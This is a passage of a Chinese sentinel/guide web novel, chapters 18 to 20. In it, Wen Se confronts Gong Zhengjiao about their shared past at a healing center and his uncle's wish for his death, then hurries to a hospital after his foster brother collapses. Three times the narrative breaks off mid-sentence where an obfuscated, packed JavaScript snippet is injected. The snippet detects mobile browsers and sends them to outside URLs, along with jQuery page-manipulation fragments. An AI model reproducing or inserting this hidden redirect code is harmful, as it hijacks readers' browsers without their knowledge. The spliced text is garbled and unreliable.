但弓铮皎……介意也得能张嘴说才行。 给弓铮皎象征性地盖上被子之后,闻璱环顾四周,不得不承认这个宿舍现在真是堪称废墟。 闻璱又照了照镜子,才后知后觉地发现,自己现在也像个狼狈的难民。 脱下外套,又简单地洗脸洗手之后,闻璱找出手套戴上,然后捡起来刚才被弓铮皎丢在地上的那沓合同。 他相信弓铮皎应该是没有翻他的东西,就算翻了,也没仔细看。 因为弓铮皎如果翻到合同末页,就会发现签名处赫然被贴上了一个卡通贴纸。 像是儿童医院给孩子打针之后送贴纸和糖丸一样,卡通字体写着:真棒!下次也要加油哦! 是闻璱之前去孤儿院做义工时,被孤儿院的孩子送的礼物。 闻璱原本也没有打算签下这份合同。 虽然诚如彭枭所言,闻璱从来不避讳,自己确实是个功利的人。 正因为功利,他才分得清孰轻孰重。 闻璱明确知道,无论是财富还是希冕创辉的帮助,跟弓铮皎这个傻白甜沟通,都一定比签下这份合同,与专业律师团队斡旋更容易。 在意识到弓铮皎和希冕创辉的关系之后,他也确实是这么打算的。 只是考虑到弓铮皎刚刚失控过、从小黑屋出来、甚至进入了低能模式,他觉得立刻提这事也太没人性了,好像自己完全把弓铮皎当个工具人,这才按下不表。 不论是朋友间,还是其他关系,他还是动了点真心,所以不想显得那么“功利”。 也是因为有了点真心,才会在弓铮皎问都不问,就认为他开始履行合同内容之后,罕见地生气。 ……毕竟,他确实不会给普通朋友剥荔枝,还亲手喂进对方嘴里。 他叹了口气,把合同撂在一旁,转而把荔枝端到面前,剥了一颗给自己吃。 刚才剥的几颗都用来喂弓铮皎了,这么贵的荔枝,他自己还没尝过。 结果进了嘴,果然不出他所料,寡淡无味,钱全花到包装上了。 这种华而不实的荔枝,包装好一点就能卖这个价,大概也只有弓铮皎这种人傻钱多的少爷,才会被骗了还美成那样。 对闻璱来说,还不如自家种的好吃呢。 . 弓铮皎醒来时,觉得自己很久没有睡得这么舒服过。 在患病之前的很多年,他就已经需要依赖安眠药来入睡了,更不用说患病之后。 有一年多的时间,他几乎完全无法成功入睡,药石罔效,连镇定剂也只能让他平静而疲惫地在干躺几个小时。 所以,他曾经是小黑屋的常客——不是因为失控发狂,而是因为他需要休息。 整个疗愈中心,没有向导是他的对手,而那时柳部长还没有上任,催眠方向不算主流。 几乎每一次,弓铮皎都是被治愈着在黑暗中挥发精力,直到筋疲力尽,陷入昏迷。 只有一次不是。 那是一个能够把精神力化为实质的向导,让弓铮皎第一次承认,向导也不全是为弱者准备的后勤人员。 小黑屋的机制针对哨兵,所以,弓铮皎被打得毫无还手之力,很快就晕过去了,比以往都轻松。 他做了一个很长的梦,梦里仿佛一切都回到了患病之前。 而他只是在草地上打滚,在河里游泳,在Windows XP默认桌面般学院派的蓝天下不断奔跑。 好简单,但也好安宁。 迷梦朦胧之间,弓铮皎仍然能听到小黑屋外传来的议论声。 有人说:你怎么敢进去安抚他的?你知不知道他的身份?如果他刚刚发狂,把你撕成碎片,没有人能替你伸冤! 弓铮皎无法反驳。 可是,梦竟然还没有结束。 在清醒梦里,过了不知多久,竟然有人进来了。 弓铮皎突然意识到,这是那个向导还在努力——因为无法进入精神图景,对方大概以为是被拒绝了,于是,便用精神力编织起一个能让他休憩的梦。 这个向导不怕死的吗? ……也可能是对自保能力有充足自信。 毕竟,刚才也是这个向导把他揍晕过去的。 弓铮皎安心地沉浸在梦里 黑暗里,弓铮皎看不清来人的脸,却记住了对方的向导素。 因为,有人在黑暗中摸了摸他的额头,然后又点了点他的嘴唇,似乎是想把什么东西喂进他嘴里。 弓铮皎本能地闭锁牙关,于是向导说:“张嘴,吃糖。” “什么味的?” 向导似乎有些无语和好笑地说:“荔枝味的。” 那颗荔枝糖的味道,弓铮皎至今都还记得。 离开小黑屋之后,他买遍了市面上所有的荔枝糖,甚至买下一整条食品生产线,投资了好几个食品加工厂,都没能成功复刻。 他逐渐明白,化在自己舌尖的好像并不是一颗糖,只是一块冰而已。 因为沾上了特别的向导素,而让他念念不忘。 而现在,弓铮皎第一次在这股向导素的包裹中醒来,舒服得恨不得把脑袋埋进去猛吸一口。 他一睁眼正想这样做,就和梦里的眼睛对视上。 “别告诉我你要吸一口。”闻璱幽幽道。 弓铮皎喉头一滚,咽下原本迫不及待的那口气,故作无事道:“没有。” 虽然闻璱觉得并不是这样,但毕竟悬崖勒马了,也没什么好再追究的。 他也是刚刚醒来,在桌子上趴着睡了一夜,腰酸背痛不说,直起身体的瞬间,他就感觉到不对劲——他落枕了。 于是,他只能正襟危坐地偏着头和弓铮皎说话:“那好,我有些事要问你。” 见弓铮皎坐起来时还兀兀陶陶地,像是宿醉过后大脑迟钝得无法处理信息一般,闻璱又一本正经地重复了一遍:“SS44520T,我们谈谈。” 果然,这串编号就像一道晴天霹雳,劈得弓铮皎立刻手脚冰凉,僵在床上。 他张了张嘴,声音带着颤:“你……你知道了?” 共鸣炸弹激发了他潜意识的反应,紧接着又是催眠,让他不记得昨晚最后发生了什么,更忘了自己已无意识地把这个秘密全盘托出。 而弓铮皎的记忆止于闻璱最后骂他的那一句,“没有家教的幼稚鬼”。 他试图回想,很快猜到了什么,脸色阴沉道:“你催眠我?” 所以说,他不喜欢那种感觉。 “是的,作为对你的报复。”闻璱坦然承认。 当然,闻璱的意思就是最直白不过的——作为对你昨晚误会我履行合同义务的报复,既然如此,就让你看看,怎么才叫真正的履行义务。 这话落在弓铮皎耳中,却另有一番含义。 他抿了抿嘴,竟然仿佛松了口气,问:“那我们,这就算扯平了?” 顿了顿,又补充一句:“或者你还可以再骂几句,我确实没家教。” “……” 闻璱一时失语。 他心想,是这句话对弓铮皎的攻击力太低,还是弓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418167|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铮皎和他想的,根本不是一码事? 有时候他试图和弓铮皎搭上同一根筋,但成功率不太可观。 静了几秒,闻璱幽幽道:“你别告诉我,你真的被骂爽了。” 弓铮皎立刻道:“怎么可能?我又不是彭枭!” 对视了一会,闻璱问:“你是不是很早就认出我了?” 如果是因为曾经在疗愈中心的这段“无面之缘”,那弓铮皎突然要上赶着来给他送钱,似乎勉强能…… 不,还是很难解释得通。 弓铮皎说:“其实也没有很早。” “我记得你的向导素,但是,随着病情越来越严重,我对向导素也产生了障碍,很长时间里,我一嗅到向导素就会反胃、恶心。” “一直到那天你借走我的终端,我突然闻到你的向导素,但是不觉得难受,才反应过来那是你。而且,不知道为什么,只有你的向导素对我有效。” 醒了就变成“不知道为什么”了。 闻璱凉凉地瞟了弓铮皎一眼,最终没有揭穿。 他是落枕才不得不这样说话,在弓铮皎眼里,却是对此十分不满,才作出这番姿态。 弓铮皎连忙找补道:“我真的没有视奸你很久,那天也完全是个巧合。” 闻璱回想起那天,立刻问他:“你那天不会回家之后偷偷吸自己的终端吧?” 弓铮皎也恼了:“都说了我不是彭枭那种人!” 闻璱:“彭枭可不会用我的餐具当助眠香氛。” 一提这事,弓铮皎才硬起来的腰板立刻又软倒了,低着头不说话。 显然,这半认命半逃避的态度也意味着,下次还敢。 闻璱忍不住问:“为什么不直说?” SS44520T号哨兵,为什么不在一见面就坦诚自己的身份? SS44520T,真名为弓铮皎的哨兵,偏开脸,低声说:“你不怪我吗?” 闻璱一愣:“什么?” “我以为你会恨我。”弓铮皎道,“听说你原本是柳部长的得意门生,也是他钦定的下一任部长候选人。但是因为我,你失去了这份工作。” 静了半晌,闻璱才惊疑不定道:“你的意思是,我离开疗愈中心,是被你害的?” 好新奇的说法,连闻璱本人对此都闻所未闻。 偏偏弓铮皎的黯然不似作伪,让闻璱不禁思考,如果这是真的,那自己那段从疗愈中心辞职,还被柳部长一通痛批的记忆,又是从何而来。 “你应该知道我的背景了,我家人都是普通人,他们不懂特种人,误会你折磨我……所以,我叔叔威胁疗愈中心将你辞退,并且之后永不录用。” 弓铮皎独自沉浸在自己愧疚难过的情绪里,总结道:“……是我毁了你的未来。” 闻璱:“……” 他这下明白了,怪不得弓铮皎连给钱这么理直气壮的事,都要做得如此富有偷感。 如果自己真的是一个对疗愈中心怀揣着美好梦想,准备大展宏图的向导,善心救治某特权哨兵,反而被误会丢了工作,确实会恨死这个哨兵。 而且,也大概率不会在这个哨兵需要向导素时,提供帮助。 “我所听说的,倒是和你恰恰相反。”闻璱说,“而我离职,完全是我的个人原因,与你无关。” 弓铮皎猛地抬头,不可置信地看着他。 “你叔叔骗了你,而你没有跟我说实话。”闻璱静静地看着弓铮皎,“这是最后一次机会,弓铮皎,别再撒谎。” 他知道,或许弓铮皎想粉饰的真相,对自己并不会有什么影响。 大概这又是某种本能的防卫机制,保护的是弓铮皎某些不想示弱的别扭心理。 放在以前,闻璱会理解、尊重、回避。 但现在,闻璱偏要揭开他的保护色。 弓铮皎怔怔地张了张嘴,一时说不出话来。 那双蓝紫色的眼眸中有惊讶,有愤怒,有闻璱看不懂的情绪,却唯独没有疑惑。 好一会儿,弓铮皎才再次开口:“是的……是因为那时,你或许真的能救我。” “如果那时候就让我见到你,大概我还有救,不会走到今天这步田地,这才是我叔叔不想看到的结果。” “因为,他希望我能早点去死。” 19.第 19 章 “……什么?”闻璱没想到,自己竟然听到了一番如此叔侄相杀的大戏。 他脑袋里立刻浮现出,各种豪门电视剧里,为继承权而勾心斗角的戏剧性桥段:“难道其实你才是希冕创辉的钦定继承人?” “怎么可能。”弓铮皎无奈道,“其实没什么恩怨,只不过我们本来就不是一个世界的人,过不到一起去,当然也没什么感情。” “更不用说,我患病之后,给家里造成了很多负面消息。比如我忍不住揍了狗仔,第二天头条就是‘希冕创辉董事长的特种人侄子对普通人记者大打出手’……诸如此类,我叔叔一直很头疼。” 不过,在此前的十几年,类似的骚扰其实从未休止,只是弓铮皎足够能忍。 弓铮皎提到的暴力事件发生在患病初期,当时弓铮皎还住在宿宁区的高档公寓里,那是本市著名的豪宅社区。 一个记者重金租下弓铮皎隔壁,然后整天播放重金属音乐,还有希冕创辉相关的许多负面新闻。 弓铮皎承认,疾病、疼痛、无法入睡,和病痛带来的不得不退任,这一切一切,确实都导致他情绪暴躁。 终于,在某天下楼倒垃圾时,面对记者在电梯里公然挑衅,弓铮皎一把捏爆了记者的DV机,然后撕开电梯门,扬长而去。 事故不算小,出动了救援队,即便希冕创辉稳定住了惊魂未定的记者,这件事也根本压不住。 第二天见报之后,不出所料,在普通人的舆论非常轰动,甚至引起了社会上关于“特种人和普通人住房隔离”的必要性讨论。 巨额赔款、股价波动、公开道歉……总之,让希冕创辉很是水深火热过一番。 那之后,弓铮皎搬进了白塔周边,特种人活动更积极的区域。 也就是闻璱工作室的那栋楼。 类似的事件和报道不胜枚举,或是捕风捉影,或是完全捏造,总之不利于希冕创辉营造良好的企业形象。 而对于现在的希冕创辉来说,也已经不需要一个特种人“代言人”,以便在白塔占有更多话语权。 弓铮皎这个极不稳定且丑闻不断的哨兵,只会给企业带来源源不断的舆情危机。 所以,在得知弓铮皎病情恶化,必死无疑后,董事长委婉地表达了意愿:希望弓铮皎能安宁地享受生命最后的日子。 换句话说:安分点,乖乖去死,别再惹事。 弓铮皎曾经以为这也是无奈之举。 他曾经对许多事情或许有猜测,但总是不愿意承认,早在恶化之前,在他的病情还未有定论时,叔叔就在试图斩断他的活路。 毕竟,人只有一直在痛苦里,才更有可能挣扎到筋疲力尽、厌倦活着。 而现在,当死亡已是板上钉钉,叔叔或许怜悯之心作祟,又希望能够用钱砸来他最后半年的“幸福”。 这样,他就能没有任何遗憾地去死了。 “所以我才不想回去,叔叔怕我发疯,平时就劝我少出门,家里也到处都是监控。我本来是想要在你来我家之前,至少把监控拆了。结果叔叔安排的保洁竟然说……”弓铮皎一顿,有些不太想复述保洁的原话。 “总之,我打了他,他报了警,我就跟着白塔走了。” 事情大概就是这样。 闻璱问:“说什么?” 弓铮皎眼神一飘,还是没回答他。 闻璱也不追问,只缓缓道:“所以让你回家你不想回,以前你也巴不得整天都呆在我工作室里……”他捕捉到弓铮皎眼神飘忽,立刻改口,“不对,这个是为了向导素?” 话音落下,弓铮皎一僵。 闻璱捏了捏鼻梁,自言自语道:“难怪张律师就这样让我把你带走……” 张律师肯定也查过了闻璱的住处。 郊区的特种人宿舍,住的大多是一些经济条件较差、等级也偏低的特种人。 在这里发生任何特种人暴力事件,都显得很正常,不会引起普通人那边太多关注。 如果在这里两个人大打出手,还恰好导致弓铮皎直接被电击环电成物理意义上的熟男,那更是意外之喜。 他看着没什么表情的弓铮皎,心里觉得,弓铮皎也挺可怜的。 在病情尚且有转圜余地时,家人不希望他被治疗。 在死亡彻底不可逆后,家人又希望能满足他,好让他安心去死。 但这依然不是弓铮皎可以在自己宿舍大搞破坏的理由。 而且,闻璱还并不打算接受这个说法——自己和弓铮所患上的是必死绝症。 闻璱指了指屋里的一片狼藉,理直气壮道:“这些你都要赔,还有我的误工费,你在小黑屋里应该也听到了?” 他一提钱的事,弓铮皎的态度立刻自然起来:“当然,没问题。” 闻璱看着他,又问:“一直听你说你叔叔,还没问过,你父母呢?” 虽然不问也不难猜到,就算弓铮皎父母双全,恐怕也没有什么能够左右资本的话语权。 否则,谁会就这样看着自己的孩子去死? 弓铮皎道:“离婚了,没见过妈,爸是搞科研的,几乎也没见过。” 也就是说,他们不是死了,也不是有心无力,而是确实不在意这个孩子。 闻璱沉默片刻,道:“关于说你‘没家教’的话,我很抱歉。” 弓铮皎瞥了一眼他:“没关系——你这么说,我都当你在骂他们,挺好的。” 他倒是洒脱。 既然当事人都没什么多愁善感的情绪,也省得闻璱再费脑筋安慰。 他当即转移到下一个话题:“你的事说完了,现在来说说我的。” “弓铮皎,昨天下午,你看到了我的精神体。”闻璱陈述。 弓铮皎那时处于低能模式,但后来恢复之后,这段记忆并没有被大脑保护性地删除。 他不会说,在闻璱休息、他躺在地铺上的那一个小时里,他狠狠回顾了撸黑天鹅的体验。 他只是故作镇定道:“是。它很漂亮,叫什么名字?” “小黑。”闻璱回答。 “小黑?”弓铮皎有点无语,“这名字也太不用心了。” “……”闻璱更是无语,“说得好像阿咬是什么引经据典的绝世美名。” “阿咬怎么不是?首先它真的很能咬,其次,这和我的小名——”弓铮皎悬崖勒马。 “……”闻璱微笑,“谁问你了?” 弓铮皎乖乖闭嘴。 “说正事。”闻璱道,“你也是融合派,你对精神体和精神图景之间的联系有什么看法?” “为什么突然问起这个?”弓铮皎认真地思索了一番,才道:“一体两面。有人认为精神图景是储存精神体的特殊空间,精神图景异常会导致精神体被限制,所以将它们分为两个个体。但实际上,精神体和精神图景,只是同样的能量在不同频率下。” 屋里太小,弓铮皎不能把阿咬放出来演示,就只能试探着化出一只硕大的虎爪。 拟态融合,但是只选取了部分融合,这是为了战斗中更加灵活,闻璱再熟悉不过。 弓铮皎张了张那只爪子,突然,爪子里便出现了一颗石子。 他把那粒石子向窗外丢出去,半空中,石子化成了一串可视的水珠。 弓铮皎解释道:“调频可以让精神体取出精神图景里的东西。” 闻璱看也没看,淡然道:“高空抛物要罚款。” 弓铮皎挑了挑眉毛:“你怎么知道那是真的?” 他的反问很有道理,因为精神体本该是一种波段特殊的能量,只有特种人能够看到、也只对包括特种人在内的精神力的生物产生影响。 隔空从精神图景中取出一粒石子,这粒石子自然也只能是精神力,并无实体。 唯独不巧的是,闻璱也曾是融合派的佼佼者。 他站起身,眼疾手快地向空气伸去,抓住了一团空气扯了扯。 扯动之间,身旁的水龙头开开关关,仿佛有一根看不见的线连在把手上。 石子是弓铮皎精神图景里的某种具象化投射,水珠却是水龙头里流出来的、真正存在的水。 弓铮皎眼睛一亮,赞叹道:“不愧是你。” 他令拟态显形,原来闻璱手里握着的,正是他的尾巴。 闻璱松了手,立刻把手伸到水龙头下面去,尾巴一动,便放出水来,叫闻璱洗了个手。 闻璱淡淡道:“这没什么,但你不避讳我,倒是不怕我举报你。” 出于治安的考虑,白塔官方反对特种人在不报备的情况下,私下进行任何实验。 融合派从理论走进现实,这个级别的大新闻,在获得官方认可之前,当事人绝对要先被监禁很久。 弓铮皎却不以为然:“你不也是吗?想举报就举报吧,说不定还能有奖金。” 反正他也没多少日子可活了。 只要不在闻璱身边,在哪都差不多。 见闻璱一时不语,弓铮皎故作镇定地抖了一会腿,忍不住问:“昨天晚上,就是这些,对吗?” 很低级的试探。 闻璱几乎立刻就明白他想问什么了。 既然弓铮皎不存在任何器质性的病变和创伤,问题就只能出现在心里。 抗拒,所以生理性反感其它向导素。 喜欢,所以只有一个人的向导素有效。 说意外,闻璱倒是不算太意外。 他不明白的是,弓铮皎大概也对此心知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427281|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肚明,却害怕这件事被他知道。 是因为看出来了闻璱怕麻烦,担心感情纠葛会让他失去“助手”的机会? 似乎是,但又不全是,因为他几乎毫不掩饰对闻璱的好意。 比起怕闻璱知道这份感情,倒不如说,他在骗自己。 闻璱不太能理解这个心态。 于是,他不动声色地掐了一把弓铮皎的拟态尾巴,随口道:“不然呢?这些还不够?” 弓铮皎立刻“嘶”了一声。 又麻又痛,还有些不可说的感觉。 但这是精神体,只不过是精神力的一种体现形式,并不该具有痛觉和实质。 就像精神体被称之为消散而非死亡,精神图景的相关用词也是萎缩而非崩塌。 因为,在“现实”的波段上,这些都是虚拟的。 特种人的特种,除了哨兵体质优于普通人之外,也只是特别在能够接收和发送这一特殊波段的能量——在污染区有奇效。 如果在社会中和普通人横向对比,至少向导几乎泯然众人,而哨兵由于感官敏锐,反而比普通人更易被环境影响。 也就是说,离了污染区,特种人的精神力可以说只是摆设。 这才是融合派真正的厉害之处。 通过调整波段,融合派赋予这种特殊的精神能量变得更“虚”,更接近精神图景的频率,以至于同为特种人都无法看到;但与此同时,也能赋予拟态拥有能被触摸到、能拧开水龙头的“实”。 也就是说,精神力和普通人,可以不再是两条永不相交的平行线。 这也是融合派真正的秘密。 闻璱松开手,让弓铮皎自如地收回拟态尾巴。 只见弓铮皎神态如常,再没了早先的那些窘迫、羞涩、不安。 自从挑明了身份和病情,还有那段疗愈中心的过去,弓铮皎颇有几分破罐子破摔的耍赖感。 他干脆道:“对不起。钱我十倍百倍赔给你,房子也给你,不、遗产全都给你。” “只要……你陪陪我,可以吗?” 说这么肉麻的话,让弓铮皎颇有些赧然,打量着闻璱的神态,又补充了一句:“你说过,让我有话直说的。” 潜台词是:现在我直说了,你总得答应我了吧? 闻璱没理会他的耍赖,一本正经地问:“先说正事,你有没有想过,你的图景萎缩了,精神体却很健康,这是为什么?” 至少闻璱就很好奇,为什么自己的精神图景一派安然,精神体却莫名隐身。 但是,向导进入精神图景安抚哨兵是常见手段,向导自身的精神图景却是高度封闭的,闻璱也没能通过研究精神图景来反向治疗拟态隐身症。 弓铮皎答道:“阿咬在精神图景外一切正常。” 确实如此,至少闻璱也是在进入精神图景之后,才发现阿咬也有“刷牙”的需求。 他们的情况倒是真的很像,都是精神体和精神图景的二者其一出现重大问题,但无法从另一者身上下手。 同时,主流的理论大多仍然坚信这两者均为独立个体,让闻璱连个过去的参考案例都找不到。 闻璱思索着该不该将自己的情况告诉弓铮皎。 这件事,闻璱连家人和小队成员都没有透露过。 而弓铮皎也想到了这件事——这场对话该追溯到昨晚,他说闻璱为了金钱签下合同开始。 现在,弓铮皎仍然觉得如此,只不过他也不认为,闻璱想要钱是什么罪大恶极的事情。 当局者迷,弓铮皎也不知道,从愧疚和渴求里疯狂生长出的情绪,究竟从什么时候开始模糊了某种边界。 他只是确信,不能再继续下去。 弓铮皎低声道:“我昨天那样说,也并不是在责怪你,我只是……” “只是觉得没必要。” “我快死了,与其在我死之后和我叔叔的律师团队交涉,你还不如直接跟我要。”弓铮皎偏过头,“而且,我也不希望你真的装作喜欢我的样子,我真的会上当,那样反而对你不好。” “为什么?” “我最了解我自己。”弓铮皎瞥了他一眼,“如果你真的演得太好……你就没命享受我的遗产了。” 弓铮皎心想,闻璱说他很能忍,这完全是个误会。 至少他扪心自问,如果只是这样各取所需的“朋友”关系,他会愿意为闻璱铺好自己死后的路。 但凡能够更进一步,都让他觉得喉咙发痒,忍不了一点。 是爱欲,是贪婪,是占有,还是怜惜? 或许都是,也都不是。 是狩猎的饥渴——沼泽里的猛兽,宁可沉没得更快,也要在临死之前,把心爱的猎物紧紧咬住。 20.第 20 章 原来如此,这个“自欺欺人”的疑问终于有了解答。 闻璱眉头微挑,对此不置可否。 桌上终端震动,打断了两个人各自沉思。 闻璱拿起终端一看,发现竟然是逄靥星来电。 他算了下日子,心想大概是逄靥星从污染区回来,联系他商量去公会登记的事情。 这两天还真是事赶事赶事,忙得一刻都停不下来。 然而,一经接通,那边传来的竟然是稚嫩的哭声。 “香蒲哥!我、我是小月,我不知道该怎么办……” 是逄靥星的妹妹,也是逄靥星唯一的家人,才十来岁,现在应该还在圣所接受向导培训。 闻璱连忙道:“小月?你先别着急,慢慢说,发生什么事了?” 心里却是一沉——恐怕发生了什么不太好的事情,但还有哭的份,说明还有救。 果然,小月深呼吸稍作平复之后,带着哭腔说:“我在特种人医院白塔总部,我哥进手术室了,我听他们说是、是溺水导致……” 溺水? 可逄靥星的游泳成绩优秀得离谱,精神体还是北极熊,冰海里的游泳健将。 哪怕说是中暑呢! 闻璱险些怀疑自己的耳朵,就听电话那边又传来另一道还算冷静的声音: “闻队,小胖是干性淹溺导致的昏迷,已经进抢救室了,我们就在医院,你最好也尽快来一趟。” 这是小队里跟逄靥星一起继续任务的那个向导,冬歆亭,精神体是蜻蜓。 “我现在赶过去。”闻璱道。 他又安慰了几句小月,便挂了电话,急忙忙地又准备出门。 人都拉开门了,回头见弓铮皎似乎不知道该不该问的样子,吩咐了一声:“你先跟我一起过去吧。” 打车坐上之后,闻璱才有功夫揉捏着脖子,检查终端上的消息。 特殊情况,昨晚睡得明明很不舒服,但又实在很沉,以至于闻璱错过了太多。 凌晨的时候,冬歆亭就发来消息说了情况,大致是二人在污染区遭遇了一些突发状况,逄靥星中了某种精神毒素陷入昏厥,导致冬歆亭不得不暂停任务,带逄靥星离开污染区。 那种毒素并不致命,在注射过解毒剂后,逄靥星只需要休养几天就好。 但不知为何,在离开污染区之后,逄靥星突然出现异常,冬歆亭当机立断把他送到医院去。 这期间,冬歆亭联络过闻璱,队伍里除了彭枭之外的哨兵也纷纷发来消息询问,但这些消息都没能把闻璱从梦里轰炸醒。 医院这边需要亲属在场,闻璱无论如何都联络不上,这才不得不找到了还在圣所的逄宵月。 闻璱一边回复,一边简短地给弓铮皎讲述了一下情况。 碍于闻璱忙着正事,弓铮皎一直不好打扰。到闻璱主动解释过,弓铮皎才终于问出了自己的疑惑:“为什么她喊你‘香蒲哥’?” “……”闻璱就知道他听到了。 但这个问题,闻璱暂时不想回答,糊弄道:“那不重要。” 弓铮皎又关注到了某些没有被提到的重点:“队长又不是亲属,为什么要先联络你,而不是先联络他妹妹?” 问这句话时,连弓铮皎自己都没注意到,自己又下意识地屏息了。 他在想,究竟什么样的关系可以比亲生妹妹更近? 难道……是隐婚? 闻璱一怔,没想到他在意这个,轻叹一声道:“法律意义上,逄靥星他算是我弟弟。” “……”弓铮皎震惊:“什么?!” “我们老家在一块,他的监护人过世后,我妈收养了他和小月。”闻璱简短地解释了一番,“但是那时候他已经不小了,严格来说,我妈只是在他成年前的最后一段时间,短暂地顶了一下监护人的名头。” 弓铮皎一边震惊,一边放心地问:“彭枭知道这事吗?” “为什么要告诉他?”闻璱莫名其妙。 这又不是什么值得四处宣扬的事。 弓铮皎立刻满意了:“他居然误会你们俩的关系,真是肮脏、低俗!” 丝毫不提自己曾经也认真地以为,闻璱和逄靥星或许曾经有过一段。 “……”闻璱放弃深究他的逻辑。 到医院之后,小月已经躺在长椅上睡着了,身上还披着一件脏兮兮的作训服外套。 外套的主人冬歆亭坐在旁边,同样脑袋一点一点地,在打瞌睡。 闻璱过去,默不作声地把作训服外套换成了自己的外套,然后拍醒冬歆亭,示意两人到边上说。 弓铮皎立刻懂事地比了个“OK”的手势,示意自己会替闻璱在这里守着。 “怎么回事?” “我不知道。”冬歆亭捏了捏自己鼻梁,无奈道,“回来的路上我开车,他在后面休息。有一阵子他醒过来,还和我聊了两句,说一会换他开。我没答应,但我也想着这么说他状态不错。那会甚至惦记着,说不定回来做个体检,没问题的话就可以立刻继续任务了。” “后来他在后面没动静了,我以为他又睡着了,喊了一声没人理,我回头一看,才发现不对劲,赶紧送过来了。” 闻璱思索片刻,问:“污染区中的毒是什么毒?” “就是普通的精神毒素,N-2食肉珊瑚,他在水里不小心被沾上了。”冬歆亭道,“这也怪我,是我没有……” “现在不是妄自菲薄的时候,既然已经进了手术室,就相信医生和他吧。”闻璱拍了拍冬歆亭的肩膀,“不过,还得问问你,和彭枭到底怎么回事?” 说实话,闻璱不认为彭枭真的对冬歆亭动手了。 倒不是对彭枭的品格有信心,而是对冬歆亭的性格有了解——冬歆亭才不是个会乖乖被欺负,然后哭着告状的主。 冬歆亭简短道:“他说了一些不好的话威胁我,所以我想让他滚。” 没具体说什么话,显然是不想说。 但闻璱不得不问:“什么话值得你发这么大火,就这样不顾大局?” 闻言,冬歆亭偏开脸,过了一会儿才问:“队长,你也知道小胖和他养母的关系很好,对吧?” 闻璱点了点头,心道:当然了,那是我亲妈。 冬歆亭闭了闭眼睛,低声道:“彭枭说小胖没爹没妈没家教,从小就跟养母不清不楚,所以长大了才介入他人关系,以此威胁我在论坛上帮他作证。但是,这话实在太下贱了,我不想让小胖听到,所以故意说彭枭打我,小胖相信了,二话没说就打了彭枭。” 闻璱:“……” 他深呼吸了两口气,语气似乎十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427282|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静:“这是彭枭的原话?他还说什么了?” “嗯。”冬歆亭皱眉道,“别的也没什么了,就是那些肮脏的臆测,我听了都上火,没给他说太多的机会。不过,他现在应该不会承认了。” 顿了顿,冬歆亭叹了口气,自我检讨起来:“我当时也冲动了,是我不好……” “不,你做得很好,非常好。”闻璱微笑着说,“这事别跟逄靥星提了,我来处理。” 了解过情况,闻璱让冬歆亭回去休息,自己则站在原地平复心情。 现在逄靥星的病情最要紧,他冷静了片刻,然后拨通医院里朋友的电话。 朋友很快来到手术室门口,打过招呼,目光却落在后面的弓铮皎身上。 闻璱还没来得及介绍,就听朋友低声问:“弓先生来做检查?” “不。”弓铮皎指了指闻璱,“我只是陪他来看望病人的。” “呵呵,原来如此。”朋友笑着给闻璱解释,“弓先生在我们院建档以来一直受到高度关注,所有检查都走特殊通道来着。不说这个了,病人的已经进去了?” 闻璱心里一动,面上却不动声色地把检查结果递了过去,随口问:“弓铮皎经常来?” “还好吧。”朋友拿出检查报告细细阅读,似乎没太关注这个问题。 不过,他沉思许久,似乎也对逄靥星的情况一筹莫展。 “很奇怪,不过你们特种人身上奇怪的地方可不少。”朋友指了几个指标,给闻璱简单讲解了一番其中的异常。 末了,总结道,“具体如何,恐怕要到疗愈中心那边才有说法。” 手术时间还久,把朋友送走之后,闻璱实在按捺不住,拿出终端拨出一个通话。 对方过了一会才接,上来就是一个迷糊的大哈欠:“喂?闻璱?这么早你找我干嘛……” 弓铮皎的目光立刻如有实质,立刻粘上了闻璱的后脑勺,原因无他——那头传来的声音正是彭枭。 闻璱脸上挂起公式化的微笑,声音也温柔得离谱:“你还好吗?前两天的事真是个误会,其实,我一直很担心你的腿……” 彭枭受宠若惊,立刻刹住了原本的怪话:“哦!还好,还好。我可是A级哨兵,相信我,体力杠杠的!” “你在哪?在家吗?我去看看你吧。”闻璱随口胡诌,“早上我想下厨试试新菜谱,不小心多做了一份三明治……” 听了这话,电话那头原本脑子就不太清醒的彭枭,立刻把不多的疑惑抛到脑后了。 这是求和吧?这毫无疑问是求和。 彭枭脑袋里开始浮现闻璱围着围裙洗手作羹汤的画面,顿时连摆谱的话都说不出口了。 他幸福地打了个哈欠:“其实我还是有点严重,在住院呢,特种人医院白塔总院,病房号是……” 这倒是巧了。 闻璱“嗯”、“好”地敷衍过,然后毫不留情地挂了通话,丝毫不顾彭枭还在幻想。 一回过头,就望进弓铮皎那双忐忑、复杂、嫉妒,又隐隐带着一丝兴奋的目光。 